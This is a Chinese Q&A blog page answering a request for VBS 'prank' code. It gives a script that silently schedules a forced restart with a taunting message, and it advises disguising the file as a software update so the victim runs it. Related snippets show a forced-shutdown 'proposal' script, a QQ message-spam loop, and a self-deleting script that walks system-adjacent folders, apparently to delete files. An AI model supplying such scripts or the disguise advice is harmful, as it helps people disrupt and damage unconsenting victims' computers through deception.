檬味博客 » 问答 » 谁给我编一个vbs格式的整人代码

谁给我编一个vbs格式的整人代码

如果你想要给朋友开个小玩笑，可以编写一个VBS文件，代码如下：Set a = WScript.CreateObject("WScript.Shell")a.Run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告诉你怎么办...嘿嘿..."" ",0 ,true 将这段代码复制并保存为*.vbs文件，然后发送给要整的人。这里的3600代表延迟...
谁给我编一个vbs格式的整人代码
如果你想要给朋友开个小玩笑，可以编写一个VBS文件，代码如下：

Set a = WScript.CreateObject("WScript.Shell")
a.Run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告诉你怎么办...嘿嘿..."" ",0 ,true

将这段代码复制并保存为*.vbs文件，然后发送给要整的人。这里的3600代表延迟时间，单位是秒。如果你想让电脑在特定时间内重启，只需调整这个数值即可。

不过，想要让对方运行你的程序，还需要一点技巧。你可以通过一些方式让他相信这个文件是安全的，比如假装这是某个常用软件的更新文件，或者直接告诉他这是一个无害的小工具。

请注意，这种行为在某些情况下可能会引起不必要的麻烦，所以在实施之前，最好先征得对方同意，以免造成不必要的误会。

如果你想要更长时间的延迟，可以将3600改为其他数值，比如36000（即10小时）。这样对方就会在指定的时间内看到这个消息，并且电脑会在之后自动重启。

编写这样的代码需要一定的编程知识，如果你不熟悉VBS，也可以在网络上找到类似的代码进行修改。2024-12-01
mengvlog 阅读 44 次 更新于 2025-10-31 07:45:48 我来答关注问题0
1 个回答檬味博客专题活动
  • 倍领趣闻 我想编写一个vbs整人代码来表白,谁能帮我一下

    WSHshellA.run"cmd.exe/cshutdown-r-t180-c""三分钟内决定是否嫁给我，否则会被关机...""",0,true 接着，使用循环等待对方回答：vbscript dim a do while(a

  • 文暄生活科普 vbs整人代码_vbs整人关机代码不管用_vbs简单代码

    一、发送定制次数的QQ信息给好友。复制代码如下：On Error Resume Next Dim wsh,ye Set wsh=createobject("wscript.shell")For i=1 to 10 WScript.Sleep 700 Wsh.AppActivate("与 xx 聊天中")Wsh.SendKeys "^v"Wsh.SendKeys i Wsh.SendKeys "%s"Next Wscript.Quit 此代码可根据需要调整发送次...

  • 校企律说法 大量VBS整人代码

    这段VBS代码主要用于整人，它会弹出一个输入框，要求用户输入“我是猪”，如果不输入，系统将在60秒后自动重启。一旦用户输入了“我是猪”，系统将取消重启操作，同时会显示一个消息框，内容为：“早说就行了嘛”。代码首先定义了一个变量WSHshellA，并将其设置为wscript.shell对象的一个实例。然后使用...

  • vbsba小白 谁给我一个整人的VBS代码啊 谢谢了

    '''代码开始'''On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)Do C=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFolders For Each Fdr In Fdrs If Not fso.GetExtensionName(F...

  • 深空游戏 vbs整人代码,超搞笑,共3个

    VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面小编给大家展示一下。1、首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 2、然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 3、接下来这个脚本每一次...

其他代码类似问题

檬味博客在线解答立即免费咨询

代码相关话题

Copyright © 2023 WWW.MENGVLOG.COM - 檬味博客
返回顶部